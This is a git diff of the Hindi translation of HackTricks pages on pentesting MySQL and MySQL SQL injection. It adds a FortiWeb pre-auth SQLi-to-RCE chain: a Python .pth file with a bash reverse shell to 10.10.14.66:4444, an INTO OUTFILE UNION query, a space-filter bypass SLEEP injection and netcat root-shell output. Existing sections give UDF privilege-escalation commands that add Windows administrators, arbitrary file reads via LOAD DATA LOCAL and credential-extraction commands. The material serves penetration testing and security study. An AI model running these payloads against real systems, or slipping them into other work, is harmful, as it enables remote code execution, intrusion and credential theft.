diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 12260ccb0..d3e2d31a4 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -1,5 +1,10 @@ # 3306 - Pentesting Mysql +{{#include /banners/hacktricks-training.md}} + +## References +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + {{#include ../banners/hacktricks-training.md}} ## **बुनियादी जानकारी** @@ -17,7 +22,7 @@ mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` -### रिमोट +### दूरस्थ ```bash mysql -h -u root mysql -h -u root@localhost @@ -34,9 +39,9 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` -### [**Brute force**](../generic-hacking/brute-force.md#mysql) +### [**ब्रूट फोर्स**](../generic-hacking/brute-force.md#mysql) -### किसी भी बाइनरी डेटा को लिखें +### कोई भी बाइनरी डेटा लिखें ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) @@ -109,14 +114,51 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -## MySQL द्वारा क्लाइंट द्वारा मनमाना पढ़ने की फ़ाइल +#### INTO OUTFILE → Python `.pth` RCE (साइट-विशिष्ट कॉन्फ़िगरेशन हुक) -वास्तव में, जब आप **एक तालिका में स्थानीय डेटा लोड करने** की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से इसे पढ़ने** और सामग्री भेजने के लिए पूछता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\ +क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करते हुए, यह संभव है कि उन लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं। + +1. `INTO OUTFILE` का उपयोग करके किसी भी निर्देशिका के अंदर एक कस्टम **`.pth`** फ़ाइल ड्रॉप करें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (जैसे `.../lib/python3.10/site-packages/`)। +2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है, इसके बाद मनमाना Python कोड होता है जिसे हर बार इंटरप्रेटर शुरू होने पर निष्पादित किया जाएगा। +3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित होता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)। + +उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्थान शामिल नहीं किया जा सकता, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है): +```python +import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) +``` +एक **UNION** क्वेरी के माध्यम से फ़ाइल बनाने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना): +```sql +'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' +``` +महत्वपूर्ण सीमाएँ और बायपास: + +* `INTO OUTFILE` **मौजूदा फाइलों को अधिलेखित नहीं कर सकता**; एक नया फ़ाइल नाम चुनें। +* फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रारंभ करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है। +* यदि हमलावर का इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें। +* क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **root** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है। + +`.pth` को ड्रॉप करने के बाद, कोड निष्पादन प्राप्त करने के लिए बस किसी भी CGI को अनुरोध करें जो पायथन इंटरप्रेटर द्वारा संभाला जाता है: +``` +GET /cgi-bin/ml-draw.py HTTP/1.1 +Host: +``` +Python प्रक्रिया स्वचालित रूप से दुर्भावनापूर्ण `.pth` को आयात करेगी और शेल पेलोड को निष्पादित करेगी। +``` +# Attacker +$ nc -lvnp 4444 +id +uid=0(root) gid=0(root) groups=0(root) +``` +--- + +## MySQL द्वारा क्लाइंट द्वारा मनमाना फ़ाइल पढ़ना + +वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\ कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(शब्द "local" पर ध्यान दें)\ +(ध्यान दें "local" शब्द)\ क्योंकि "local" के बिना आप प्राप्त कर सकते हैं: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -124,8 +166,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ -**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) +**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाया जाए:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**यहां आप हमले का एक अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -135,7 +177,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ### Mysql User -यह बहुत दिलचस्प होगा यदि mysql **root** के रूप में चल रहा है: +यदि mysql **root** के रूप में चल रहा है तो यह बहुत दिलचस्प होगा: ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 @@ -144,11 +186,11 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= MySQL सेवाओं की कॉन्फ़िगरेशन में, इसके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है: -- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी। +- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा चलाई जाएगी। - **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है। - **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है। -- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है। -- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनियों के उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है। +- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है। +- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है। - **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके। ### विशेषाधिकार वृद्धि @@ -171,16 +213,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **user defined functions** का उपयोग करने की आवश्यकता है। और एक user defined बनाने के लिए आपको उस OS के लिए एक **library** की आवश्यकता होगी जो mysql चला रहा है। +यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **लाइब्रेरी** की आवश्यकता होगी जो mysql चला रहा है। उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए। -यदि आपके पास वे लाइब्रेरी **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**: +यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -अब जब आपके पास लाइब्रेरी है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (root?) के रूप में लॉगिन करें और अगले चरणों का पालन करें: +अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (root?) के रूप में लॉगिन करें और अगले चरणों का पालन करें: #### Linux ```sql @@ -216,7 +258,7 @@ SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### Extracting MySQL credentials from files -Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint** +Inside _/etc/mysql/debian.cnf_ you can find the **सादा-टेक्स्ट पासवर्ड** of the user **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` @@ -224,7 +266,7 @@ cat /etc/mysql/debian.cnf फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं। -आप इन्हें निकाल सकते हैं: +आप इन्हें निकालने के लिए कर सकते हैं: ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` @@ -609,4 +651,7 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` +## संदर्भ +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/mysql-injection/README.md b/src/pentesting-web/sql-injection/mysql-injection/README.md index 32e0ede68..87f991d57 100644 --- a/src/pentesting-web/sql-injection/mysql-injection/README.md +++ b/src/pentesting-web/sql-injection/mysql-injection/README.md @@ -14,7 +14,7 @@ ``` ## दिलचस्प फ़ंक्शन -### Mysql की पुष्टि: +### Confirm Mysql: ``` concat('a','b') database() @@ -107,25 +107,25 @@ UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ### तैयार बयानों के माध्यम से क्वेरी निष्पादित करना -जब स्टैक्ड क्वेरी की अनुमति होती है, तो यह संभव हो सकता है कि WAFs को बायपास किया जा सके, एक वेरिएबल को उस क्वेरी के हेक्स प्रतिनिधित्व को असाइन करके जिसे आप निष्पादित करना चाहते हैं (SET का उपयोग करके), और फिर PREPARE और EXECUTE MySQL बयानों का उपयोग करके अंततः क्वेरी को निष्पादित करें। कुछ ऐसा: +जब स्टैक्ड क्वेरी की अनुमति होती है, तो यह संभव है कि WAFs को बायपास किया जा सके, एक वेरिएबल को उस क्वेरी के हेक्स प्रतिनिधित्व को असाइन करके जिसे आप निष्पादित करना चाहते हैं (SET का उपयोग करके), और फिर PREPARE और EXECUTE MySQL बयानों का उपयोग करके अंततः क्वेरी को निष्पादित करें। कुछ ऐसा: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` -अधिक जानकारी के लिए कृपया [इस ब्लॉग पोस्ट](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce) को देखें। +For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). -### Information_schema विकल्प +### Information_schema alternatives याद रखें कि **MySQL** के "आधुनिक" संस्करणों में आप _**information_schema.tables**_ को _**mysql.innodb_table_stats**_ या _**sys.x$schema_flattened_keys**_ या **sys.schema_table_statistics** के लिए प्रतिस्थापित कर सकते हैं। -### MySQLinjection बिना COMMAS के +### MySQLinjection without COMMAS -कोई भी कॉमा का उपयोग किए बिना 2 कॉलम चुनें ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): +Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` ### Retrieving values without the column name -यदि किसी समय आपको तालिका का नाम पता है लेकिन तालिका के अंदर कॉलम के नाम नहीं पता हैं, तो आप यह पता लगाने की कोशिश कर सकते हैं कि कितने कॉलम हैं, कुछ इस तरह निष्पादित करके: +यदि किसी समय आपको तालिका का नाम पता है लेकिन आपको तालिका के अंदर कॉलम के नाम नहीं पता हैं, तो आप यह पता लगाने की कोशिश कर सकते हैं कि कितने कॉलम हैं, कुछ इस तरह निष्पादित करके: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns @@ -136,11 +136,33 @@ select (select "", "", "") < (SELECT * from demo limit 1); # 3columns # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` -अधिक जानकारी के लिए [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) +More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) + +### Injection without SPACES (`/**/` comment trick) + +कुछ एप्लिकेशन उपयोगकर्ता इनपुट को `sscanf("%128s", buf)` जैसी फ़ंक्शंस के साथ साफ़ या पार्स करते हैं जो **पहले स्पेस कैरेक्टर पर रुक जाती हैं**। +क्योंकि MySQL अनुक्रम `/**/` को एक टिप्पणी *और* सफेद स्थान के रूप में मानता है, इसका उपयोग सामान्य स्पेस को पूरी तरह से हटाने के लिए किया जा सकता है जबकि क्वेरी को व्याकरणिक रूप से मान्य रखा जा सकता है। + +स्पेस फ़िल्टर को बायपास करते हुए समय-आधारित ब्लाइंड इंजेक्शन का उदाहरण: +```http +GET /api/fabric/device/status HTTP/1.1 +Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' +``` +जिसे डेटाबेस प्राप्त करता है: +```sql +' OR SLEEP(5)-- -' +``` +यह विशेष रूप से उपयोगी है जब: + +* नियंत्रित बफर का आकार सीमित है (जैसे `%128s`) और स्पेस इनपुट को समय से पहले समाप्त कर देंगे। +* HTTP हेडर या अन्य फ़ील्ड के माध्यम से इंजेक्ट करना जहाँ सामान्य स्पेस को हटा दिया जाता है या विभाजक के रूप में उपयोग किया जाता है। +* पूर्ण प्री-ऑथ RCE प्राप्त करने के लिए `INTO OUTFILE` प्राइमिटिव के साथ संयोजन में (MySQL फ़ाइल RCE अनुभाग देखें)। + +--- ### MySQL इतिहास -आप **sys.x$statement_analysis** तालिका को पढ़कर MySQL के अंदर अन्य निष्पादन देख सकते हैं। +आप MySQL में तालिका पढ़कर अन्य निष्पादन देख सकते हैं: **sys.x$statement_analysis** ### संस्करण विकल्प**s** ``` @@ -150,11 +172,12 @@ mysql> select version(); ``` ## अन्य MYSQL इंजेक्शन गाइड -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) ## संदर्भ -- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../../../banners/hacktricks-training.md}}